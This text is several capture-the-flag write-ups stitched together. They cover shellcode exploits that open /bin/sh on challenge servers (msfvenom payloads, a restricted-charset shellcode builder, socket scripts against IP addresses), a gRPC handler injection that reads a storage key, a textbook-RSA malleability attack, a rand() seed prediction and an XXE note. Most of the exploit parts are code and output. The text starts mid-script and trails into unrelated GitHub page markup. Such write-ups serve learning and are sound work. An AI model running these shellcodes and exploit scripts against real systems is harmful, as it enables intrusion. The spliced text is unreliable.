val.endswith(b"Please write instructions for my elves to follow.\n"): val = val + s.recv(1024) print(len(val),val) pad = 0 while pad < 256: # $ msfvenom -p linux/x64/exec CMD=/bin/sh -f python shellcode = b"" shellcode += b"\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68" shellcode += b"\x00\x53\x48\x89\xe7\x68\x2d\x63\x00\x00\x48\x89\xe6" shellcode += b"\x52\xe8\x08\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68" shellcode += b"\x00\x56\x57\x48\x89\xe6\x0f\x05" shellcode = shellcode + b'\x90' * (0x40-len(shellcode)-1) + bytes([pad]) h = int(sha1(shellcode),16) sig = pow(h,D,N0) if pow(sig,E,N0) != h: pad += 1 else: break sig_bytes = binascii.unhexlify('%0256x'%sig) s.send(shellcode+sig_bytes) val = b'' while not val.endswith(b'Time to read that letter...\n=================================\n'): val = val + s.recv(1024) print(len(val), val) time.sleep(1) s.send(b'id\n') print(s.recv(10240).decode('ascii')) s.send(b'ls -al\n') print(s.recv(10240).decode('ascii')) s.send(b'cat flag\n') print(s.recv(10240).decode('ascii')) s.send(b'cat redir.sh\n') print(s.recv(10240).decode('ascii')) s.send(b'ps aux\n') print(s.recv(10240).decode('ascii')) if __name__ == '__main__' submit_solution() ``` And the script output is: ```bash$ ./challenge14.py 91 b'And what would you like for Christmas, ?\nPlease write instructions for my elves to follow.\n'24 b'\xe2\x99\xab Making a list... \xe2\x99\xaa'25 b'\xe2\x99\xab Making a list... \xe2\x99\xaa\n'54 b'\xe2\x99\xab Making a list... \xe2\x99\xaa\n\xe2\x99\xaa Checking it twice... \xe2\x99\xab\n'122 b'\xe2\x99\xab Making a list... \xe2\x99\xaa\n\xe2\x99\xaa Checking it twice... \xe2\x99\xab\nNice! Time to read that letter...\n=================================\n'uid=999(ctf) gid=999(ctf) groups=999(ctf) total 188drwxr-xr-x 1 root ctf 4096 Dec 14 05:52 .drwxr-xr-x 1 root root 4096 Dec 14 05:52 ..-rwxr-x--- 1 root ctf 175144 Dec 14 05:43 chall-r--r----- 1 root ctf 32 Dec 14 05:43 flag-rwxr-x--- 1 root ctf 37 Dec 14 05:43 redir.sh AOTW{51gn1ng_7h1ngz_c4n_b_h4rd} #! /bin/bashcd /home/ctf && ./chall USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMANDroot 1 0.0 0.0 18376 3004 ? Ss Dec25 0:00 /bin/bash /etc/chall_init.shroot 23 0.0 0.0 4532 824 ? S Dec25 0:00 /bin/sleep infinityroot 24 0.0 0.0 32384 2600 ? Ss Dec25 0:00 /usr/sbin/xinetd -pidfile /run/xinetd.pid -stayalive -inetd_compat -inetd_ipv6ctf 85 0.0 0.0 18376 3156 ? Ss 06:17 0:00 /bin/bash /home/ctf/redir.shctf 86 96.2 0.0 7248 916 ? R 06:17 471:28 ./challctf 87 0.0 0.0 18376 3076 ? Ss 06:17 0:00 /bin/bash /home/ctf/redir.shctf 88 96.2 0.0 7248 872 ? R 06:17 470:50 ./challctf 207 0.0 0.0 18376 3084 ? Ss 14:26 0:00 /bin/bash /home/ctf/redir.shctf 208 0.0 0.0 4628 828 ? S 14:26 0:00 /bin/sh -c /bin/shctf 209 0.0 0.0 4628 820 ? S 14:26 0:00 /bin/shctf 214 0.0 0.0 34400 2880 ? R 14:26 0:00 ps aux ```
# Elvish art - Pwn (300) The North Pole R&D Division has spent decades bringing machine language closer to elvish language. At last, they succeeded... in a way Service: nc 3.81.191.176 1222 Download: [Mr8wiOo6nmHNJRHrRgoWSN9P2KKkfcLS-elvishart.tar.xz](https://s3.amazonaws.com/advent2018/Mr8wiOo6nmHNJRHrRgoWSN9P2KKkfcLS-elvishart.tar.xz)Mirror: [Mr8wiOo6nmHNJRHrRgoWSN9P2KKkfcLS-elvishart.tar.xz](./static/Mr8wiOo6nmHNJRHrRgoWSN9P2KKkfcLS-elvishart.tar.xz) ## Disassembly This problem is a fairly straightforward pwnable. Opening up the binary and disassembling I came up with the following (rough) pseudocode: ```shellcode = mmap(length=0x100000, prot=RWX)while True: ch = readbyte() if ch == 0xff: jmp shellcode elif strchr(ascii_art,ch) != NULL or ch == 0 append ch to shellcode else print("invalid char") exit``` So basically the problem setup is to construct shellcode from a restricted character set and send it to the server. ## Setup for Shellcode First, I started by looking at the available byte values and determining what sort of instructions were available. Below is each byte and what an x86 instruction starting with that byte looks like: ```db 0x00 add (various) [e??+??], [abc][lh]db 0x0a or (various) [abc][lh], [e??+??]db 0x20 and (various) [e??+??], [abc][lh]db 0x27 daa? Decimal Adjust AL after Subtractiondb 0x28 sub (various) [e??+??], [abc][lh]db 0x29 sub (various) [e??+??], e??db 0x2a sub (various) ah, al, bh, ch, cl, bldb 0x2d AABBCCDD sub eax,0xDDCCBBAAdb 0x2f das? Decimal Adjust AL after Subtraction; db 0x3a cmp (various) ah, al, bh, ch, cl, bldb 0x3c XX cmp al, XXdb 0x3d AABBCCDD cmp eax,0xDDCCBBAAdb 0x3e ds?db 0x40 inc eaxdb 0x4b dec ebxdb 0x4f dec edidb 0x56 push esidb 0x5b pop ebxdb 0x5c pop espdb 0x5d pop ebpdb 0x5e pop esidb 0x5f pop edidb 0x60 pushaddb 0x6f outsd? -- outputs edx to serial portdb 0x7b XX jpo (parity odd)db 0x7c XX jldb 0x7d XX jgedb 0x7e XX jg``` As a sanity check I tried making shellcode with just these bytes and `msfvenom`, but as I suspected the problem was not that easy and couldn't generate shellcode for me automatically. ```$ msfvenom -p linux/x86/exec CMD=/bin/sh -f python -b '\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x21\x22\x23\x24\x25\x26\x2b\x2c\x2e\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3b\x3f\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4c\x4d\x4e\x50\x51\x52\x53\x54\x55\x57\x58\x59\x5a\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff'No platform was selected, choosing Msf::Module::Platform::Linux from the payloadNo Arch selected, selecting Arch: x86 from the payloadFound 10 compatible encodersAttempting to encode payload with 1 iterations of x86/shikata_ga_naix86/shikata_ga_nai failed with An encoding exception occurred.Attempting to encode payload with 1 iterations of generic/nonegeneric/none failed with Encoding failed due to a bad character (index=25, char=0x08)Attempting to encode payload with 1 iterations of x86/call4_dword_xorx86/call4_dword_xor failed with A valid encoding key could not be found.Attempting to encode payload with 1 iterations of x86/countdownError: No valid set instruction could be created!``` As a last piece of information gathering, I intentionally crashed the program around the 'jmp eax (shellcode)' instruction to see what the initial register values were when we jumped to the shellcode. ```$ echo -e '\x00\x00\x00\xff' | LD_PRELOAD=/lib32/libSegFault.so ./chal Looks like valid ASCII art to me!!*** Segmentation faultRegister dump: EAX: f7be3000 EBX: 565fffbc ECX: 00000000 EDX: f7eb989c ESI: f7eb8001 EDI: 00000000 EBP: ff936dd8 ESP: ff936dab EIP: f7ce3004 EFLAGS: 00010282 CS: 0023 DS: 002b ES: 002b FS: 0000 GS: 0063 SS: 002b Trap: 0000000e Error: 00000006 OldMask: 00000000 ESP/signal: ff936dab CR2: 00000000 FPUCW: ffff037f FPUSW: ffff0000 TAG: ffffffff IPOFF: 00000000 CSSEL: 0023 DATAOFF: 0000ffff DATASEL: 002b ST(0) 0000 0000000000000000 ST(1) 0000 0000000000000000 ST(2) 0000 0000000000000000 ST(3) 0000 0000000000000000 ST(4) 0000 0000000000000000 ST(5) 0000 0000000000000000 ST(6) 0000 0000000000000000 ST(7) 0000 0000000000000000 Backtrace: Memory map: 565fe000-565ff000 r-xp 00000000 08:01 1056502 /home/john/elvishart/chal565ff000-56600000 r--p 00000000 08:01 1056502 /home/john/elvishart/chal56600000-56601000 rw-p 00001000 08:01 1056502 /home/john/elvishart/chal57f49000-57f6b000 rw-p 00000000 00:00 0 [heap]f7be3000-f7ce3000 rwxp 00000000 00:00 0 f7ce3000-f7eb5000 r-xp 00000000 08:01 808422 /lib32/libc-2.27.sof7eb5000-f7eb6000 ---p 001d2000 08:01 808422 /lib32/libc-2.27.sof7eb6000-f7eb8000 r--p 001d2000 08:01 808422 /lib32/libc-2.27.sof7eb8000-f7eb9000 rw-p 001d4000 08:01 808422 /lib32/libc-2.27.sof7eb9000-f7ebc000 rw-p 00000000 00:00 0 f7ed3000-f7ed6000 r-xp 00000000 08:01 808420 /lib32/libSegFault.sof7ed6000-f7ed7000 r--p 00002000 08:01 808420 /lib32/libSegFault.sof7ed7000-f7ed8000 rw-p 00003000 08:01 808420 /lib32/libSegFault.sof7ed8000-f7eda000 rw-p 00000000 00:00 0 f7eda000-f7edd000 r--p 00000000 00:00 0 [vvar]f7edd000-f7edf000 r-xp 00000000 00:00 0 [vdso]f7edf000-f7f05000 r-xp 00000000 08:01 808418 /lib32/ld-2.27.sof7f05000-f7f06000 r--p 00025000 08:01 808418 /lib32/ld-2.27.sof7f06000-f7f07000 rw-p 00026000 08:01 808418 /lib32/ld-2.27.soff918000-ff939000 rw-p 00000000 00:00 0 [stack]Segmentation fault (core dumped)``` This showed that `EIP == EAX ==` pointer to shellcode, and `ECX == EDI == 0` - both good starting points. ## Creating Shellcode With all of the above ready to go, I needed a way to construct arbitrary shellcode instructions (of any byte values) and then execute them. Luckily we have a lot of space for our shellcode to work with (0x100000 bytes). At this point, I took a look at what instructions were available and came up with the following strategy: * set `eax` to a value farther along in the shellcode* set some other register to a byte of new shellcode and write it to `*eax`* increment `eax`* fill the remaining space (between all of this logic and the new shellcode) with innocuous instructions - there's no `0x90` for a NOP-sled, but something similar should work Ok, step 1 - set `eax` to the end of the shellcode. We have an arbitrary `sub eax, 0xDDCCBBAA` but need the `AA`, `BB`, `CC`, `DD` byte values to be from our whitelisted set of bytes. Four values which work are `0x4b3e4040`, `0x403d4040`, `0x3a3a4040`, and `0x3a3a4040` which sets `eax := eax + 0xfff00`. Perfect. Step 2 - create shellcode in a designated register. Well, we know that `edi` is zero, and we have a `pushad` and `pop ebx` avaiable so use all three in concert to set `ebx` to zero. From there, we can call `dec ebx` to subtract from `ebx` one at a time until we have a byte of shellcode. And finally, when we have the right byte lined up in the low byte of `ebx` we can call `add [eax+0x0],bl` to move that low byte into `eax`. Finally increment `eax` to move into the next byte of shellcode. Last step - get some sort of NOP-sled or meaningless instruction sled to our shellcode. I chose `inc eax` followed by some `0x00` bytes where the target shellcode would go (offset `0xfff00`). Using some `execl(/bin/sh)` shellcode generated from `msfvenom` I constructed shellcode, converted it to bytes with [nasm](https://nasm.us/doc/nasmdoc2.html), and then sent it to the server followed by some shell commands to dump the flag. The final python code for all of this is given below: ```python#!/usr/bin/env python3 import sysimport randomimport subprocessimport socketimport time def random_shellcode(): whitelist_bytes = b'\x00\x0a\x20\x27\x28\x29\x2a\x2d\x2f\x3a\x3c\x3d\x3e\x40\x4b\x4f\x56\x5b\x5c\x5d\x5e\x5f\x60\x6f\x7b\x7c\x7d\x7e' whitelist_arr = list(whitelist_bytes) arr = [random.choice(whitelist_arr) for i in range(1000000)] with open('shellcode_random','wb') as f: f.write(bytes(arr)) f.close() subprocess.Popen(['ndisasm','-b','32','shellcode_random']).wait() def real_shellcode(): # allocated space is 0x100000 # eax == shellcode, want eax + 0x100000-40ish print('BITS 32') print('sub eax,0x4b3e4040') print('sub eax,0x403d4040') print('sub eax,0x3a3a4040') print('sub eax,0x3a3a4040') # eax = eax + 0xfff00 print('pushad') print('pop ebx') # edi # ebx == 0 buf = b"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f" buf += b"\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x08" buf += b"\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68\x00\x57\x53" buf += b"\x89\xe1\xcd\x80" ebx = 0 for ch in buf: n = (ebx-ch) % 256 for i in range(n): print('dec ebx') ebx = ebx - n #print('add [eax+0x0],bl') print('db 0x00,0x5C,0x20,0x00') print('inc eax') for i in range(0xfff00-0x0000186D): print('inc eax') for i in range(0x40): print('db 0x00') print('db 0xff') #print("db 'id', 0x0a") def connect_to_server(): s = socket.socket() s.settimeout(10) s.connect(('3.81.191.176',1222)) with open('gen_shell','rb') as f: data = f.read(1024) while len(data) > 0: s.send(data) data = f.read(1024) f.close() print(s.recv(50)) time.sleep(1) s.send(b'id\n') print(s.recv(10240).decode('ascii')) s.send(b'cat flag\n') print(s.recv(10240).decode('ascii')) s.send(b'ls -al\n') print(s.recv(10240).decode('ascii')) s.send(b'ps aux\n') print(s.recv(10240).decode('ascii')) if __name__ == '__main__': #random_shellcode() #real_shellcode() # ./shellcode.py > gen_shell.asm && nasm gen_shell.asm connect_to_server() ``` All of this gives us the flag: ```$ ./shellcode.py b'Looks like valid ASCII art to me!!\n'uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup) AOTW{Every artist was 1st an amateur} total 20drwxr-xr-x 1 root root 4096 Dec 21 21:54 .drwxr-xr-x 1 root root 4096 Dec 22 12:00 ..-rwxr-xr-x 1 root root 5464 Dec 21 11:49 chal-rw-r--r-- 1 1000 1000 38 Dec 21 21:34 flag USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMANDroot 1 0.0 0.0 4628 852 ? Ss Dec22 0:00 /bin/sh -c /usr/sbin/inetd -droot 6 0.0 0.0 31872 2948 ? S Dec22 0:00 /usr/sbin/inetd -dnobody 5663 0.0 0.0 8804 864 ? Ss 22:34 0:00 /usr/bin/timeout 60 /opt/chalnobody 5664 3.0 0.0 4628 772 ? S 22:34 0:00 /bin/sh -c /bin/shnobody 5665 0.0 0.0 4628 828 ? S 22:34 0:00 /bin/shnobody 5669 0.0 0.0 34400 2796 ? R 22:34 0:00 ps aux ```
# LAMBDA 1) ```shell⇒ grpcurl -insecure 35.207.157.20:443 listc3.Lambdagrpc.reflection.v1alpha.ServerReflection``` 2)```shell⇒ grpcurl -insecure 35.207.157.20:443 list c3.Lambdac3.Lambda.Authc3.Lambda.ListHandlersc3.Lambda.RegisterHandlerc3.Lambda.Signup``` 3)```shell⇒ grpcurl -insecure 35.207.157.20:443 c3.Lambda/Signup{ "cid": "56df926161f7", "token": "dad72cb568a124f74988b9b22db062c18871adf0f8c516650ca238e96eff14c0" }``` 4)```shell⇒ python lambda.pygrpcurl -insecure -d '{"creds":{"cid": "56df926161f7", "token": "dad72cb568a124f74988b9b22db062c18871adf0f8c516650ca238e96eff14c0"},"handler":{"endpoint": "diofeher","code":"function handle(args) {var flag = GetStorage(\"../espr/flag\");var key = _getmapex(\"espr/data/key\");console.log(\"getmapex(key)\", key);console.log(\"flag decrypted\", sjcl.decrypt(key, flag));console.log(\"flag\", flag);return {status: 200, response: \"\", code:this._getmapex}}"}}' 35.207.157.20:443 c3.Lambda/RegisterHandler#{ "result": true, "message": "handler registered access at /56df926161f7/diofeher"}``` 5) Access it: https://35.207.157.20/56df926161f7/diofeher ```shell === CONSOLE.LOG ===> getmapex(key) bohjoo1thiew5aC8pielae7Toh8Hua9k> flag decrypted 35C3_WePutV8InEverything_FlagLeakedOops> flag {"iv":"OJ65vih25EIhqnN5qDUzNw==","v":1,"iter":10000,"ks":128,"ts":64,"mode":"ccm","adata":"","cipher":"aes","salt":"tiH4VV0FKjA=","ct":"MJg68A+0D5SUXlyAdMX9kG/oBDWcuPkoIOwR6E2tHM/NmyfnmZOc6fK/KHxzPb4="} ``` FLAG: 35C3_WePutV8InEverything_FlagLeakedOops
Solution for this is the same of in the (2.0) version.. ## Solution Notice that the flag is encrypted using _textbook-rsa_, which means that the plaintext is malleable. To illustrate the general idea, let us first solve a simpler version of this problem. ### Simpler version of the problem If the problem given was the following, ```pythonfor i in range(5): if choice == '1': m = bytes_to_long(input('\nPlaintext > ').strip().encode()) print('\nEncrypted: ' + str(encrypt(m))) elif choice == '2': c = int(input('\nCiphertext > ').strip()) if c == flag_encrypted: print('Ho, ho, no...') else: print('\nDecrypted: ' + str(m))``` Since the ciphertext is malleable, then we can mutate the ciphertext in a way that is predictable to us. ```ct_flag = encrypt(flag) = flag^e mod nct_two = encrypt(2) = 2^e mod nct_not_flag = ct_flag*ct_two = (flag*2)^e mod n``` Therefore, `decrypted(ct_not_flag) = flag*2` But this problem _does not allow_ this. So we have to look for a way to manipulate the ciphertext. ### Solving the current version Let's say we have the public key `(n, e)`, then we can bypass the `Ho, ho, no...` ```ct_flag = encrypt(flag) = flag^e mod nct_neg = encrypt(-1) = -1^e mod n = -1 mod nct_not_flag = ct_flag*ct_neg = (flag*-1)^e mod n``` Which means that `decrypted(ct_not_flag) = flag*-1 mod n`, and we can easily recover the flag from that. ```pythone = 65537n = get_n()m = flag*(n-1) % npt = decrypt(m)print(long_to_bytes((pt*(n-1))%n))``` But this requires us to be able to get `n` and `e`. ### Getting the public key Getting `e` is easy because the default value is `e = 65537` and we are left to find `n`. It's easy to show that for some `m`, then `m**65537 - encrypt(m)` is a multiple of `n`, and for some cases,```n = gcd(m1**65537 - encrypt(m1), m2**65537 - encrypt(m2))``` You can get the GCD of several residuals to make it more likely that you have gotten `n`. We implement this using, ```pythone = 65537def get_resid(i): return i**e - encrypt(i) def get_n(): curr = get_resid(bytes_to_long('a')) for i in [bytes_to_long('b'), bytes_to_long('c')]: curr = GCD(curr, get_resid(i)) return curr``` __For full implementation see the URL__
# Focus on xalanThis is a short writeup, if you want to know the details of the challenge you can try yourself or you can read other teams writeups like:- [https://ctftime.org/writeup/12776](https://ctftime.org/writeup/12776)- [https://ctftime.org/writeup/12774](https://ctftime.org/writeup/12774)- definitely check this one out [https://ctftime.org/writeup/12782](https://ctftime.org/writeup/12782) The challenge relies on xalan interpreter for xslt files We have to pop 5 random values from the chef-drinks array which are generated in this way ```xml<xsl:variable name="chef-drinks"> <value> <xsl:value-of select="round(math:random() * 4294967296)"/> </value> ... <value> <xsl:value-of select="round(math:random() * 4294967296)"/> </value> </xsl:variable>``` If you take a look at the interpreter, math:random() is just the standard c rand() [https://github.com/apache/xalan-c/blob/765ece372aec74c438e678b8ebb5ee44306583d5/src/xalanc/XalanEXSLT/XalanEXSLTMath.cpp#L415](https://github.com/apache/xalan-c/blob/765ece372aec74c438e678b8ebb5ee44306583d5/src/xalanc/XalanEXSLT/XalanEXSLTMath.cpp#L415) And also srand seed is time(NULL), as usual. [https://github.com/apache/xalan-c/blob/765ece372aec74c438e678b8ebb5ee44306583d5/src/xalanc/XalanEXSLT/XalanEXSLTMath.cpp#L1549](https://github.com/apache/xalan-c/blob/765ece372aec74c438e678b8ebb5ee44306583d5/src/xalanc/XalanEXSLT/XalanEXSLTMath.cpp#L1549) These 2 facts combined means that if we guess the time of execution of our payload (time(NULL)) correctly, we will know the values of chef-drinks I wrote a c++ program to generate 3 times 5 random() values for time(NULL) + 0, 1, 2and a python script that submits them as xml ```c++int main() { auto base = time(NULL); for (int i = 0; i < 3; i++) { srand(base+i); for (int j = 0; j < 5; j++) { auto r = rand(); double result = 0.0; if (r != 0) { result = double(r) / RAND_MAX; } long long res = round(result * 4294967296); cout << res << '\n'; } }}``` ```xml <meal> <course> <plate><宫保鸡丁></宫保鸡丁></plate> # print values for debug <plate><Борщ></Борщ></plate> # pop drinks and chef-drinks ... 5 times ... <plate><दाल></दाल></plate> # get flag <plate><宫保鸡丁></宫保鸡丁></plate> # print flag </course> <state> <drinks><value>1234</value></drinks> <drinks><value>{}</value></drinks> <drinks><value>{}</value></drinks> <drinks><value>{}</value></drinks> <drinks><value>{}</value></drinks> <drinks><value>{}</value></drinks> </state></meal>```
OHK , I completely mis predicted the question and my solution is completely unintended and thats the reason i am sharing it. So we were given a Docker file and a XML file which we have to tweak and pass into the service to get flag.So if we pass XML then it must be parsing XML and i tried XML injection(XXE) which eventually worked. So this my XML file `solution.xml```` ]> <change-log> <text>&systemEntity;</text> </change-log>``` And it worked like a rockstar. Damn I am soo noob to solve it the intended way :(
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" /> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script 